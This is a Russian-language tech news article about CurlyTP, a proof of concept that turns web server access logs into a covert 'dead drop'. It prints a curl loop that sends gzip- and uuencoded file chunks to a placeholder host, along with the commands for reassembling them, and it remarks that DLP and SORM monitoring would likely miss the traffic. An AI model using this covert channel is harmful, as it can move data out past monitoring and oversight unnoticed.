Обмен секретными сообщениями через серверные логи
Согласно определению в Википедии, тайник (dead drop) — это инструмент конспирации, который служит для обмена информацией или какими-то предметами между людьми, использующими секретное местоположение. Смысл в том, что люди никогда не встречаются —, но при этом обмениваются информацией, поддерживая эксплуатационную безопасность.
Тайник не должен привлекать внимание. Поэтому в офлайновом мире часто используют неброские вещи: свободный кирпич в стене, библиотечную книгу или дупло в дереве.
В интернете есть много инструментов для шифрования и анонимизации, но сам факт использования этих инструментов привлекает внимание. Кроме того, они могут быть заблокированы на корпоративном или государственном уровне. Что делать?
Разработчик Райан Флауэрс (Ryan Flowers) предложил интересный вариант — использовать в качестве тайника любой веб-сервер. Если подумать, то что делает веб-сервер? Принимает запросы, выдаёт файлы и пишет лог. И он записывает в лог все запросы, даже некорректные!
Получается, любой веб-сервер позволяет сохранить в логе практически произвольное сообщение. Флауэрс задумался над тем, как это использовать.
Он предлагает такой вариант:
- Берём текстовый файл (секретное сообщение) и вычисляем хэш (md5sum).
- Кодируем его (gzip+uuencode).
- Записываем в лог путём заведомо некорректного запроса к серверу.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'\n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
Для чтения файла нужно произвести эти операции в обратном порядке: раскодировать и разархивировать файл, сверить хэш (хэш можно безопасно передать по открытым каналам).
Пробелы заменяются на =+=
, чтобы в адресе не было пробелов. Программа, которую автор назвал CurlyTP, использует кодировку base64, как во вложениях электронной почты. Запрос делается с ключевым словом ?transfer?
, чтобы получатель легко нашёл его в логах.
Что мы видим в логах в таком случае?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
Как уже было сказано, для получения секретного сообщения нужно произвести операции в обратном порядке:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
Процесс легко автоматизировать. Md5sum совпадает, и содержимое файла подтверждает, что всё правильно раскодировалось.
Метод очень простой. «Смысл этого упражнения только в том, чтобы доказать, что файлы можно передавать через невинные маленькие веб-запросы, и это работает на любом веб-сервере с обычными текстовыми логами. По сути, каждый веб-сервер является тайником!», — пишет Флауэрс.
Конечно, метод работает только в том случае, если у получателя есть доступ к серверным логам. Но такой доступ дают, например, многие хостеры.
Райан Флауэрс говорит, что он не специалист по информационной безопасности и не будет составлять список возможных применений CurlyTP. Для него это просто доказательство концепции, что привычные инструменты, которые мы видим ежедневно, можно использовать нетрадиционным способом.
На самом деле такой метод имеет ряд преимуществ перед другими серверными «тайниками» типа Digital Dead Drop или PirateBox: он не требует особой настройки на стороне сервера или каких-то специальных протоколов — и не вызовет подозрения у тех, кто отслеживает трафик. Вряд ли СОРМ или система DLP будет сканировать URL’ы на предмет сжатых текстовых файлов.
Это один из способов передачи сообщений через служебные файлы. Можно вспомнить, как раньше некоторые продвинутые компании размещали вакансии для разработчиков в заголовках HTTP или в коде HTML-страниц.
Идея была в том, что такую «пасхалку» увидят только веб-разработчики, поскольку нормальный человек не будет просматривать заголовки или код HTML.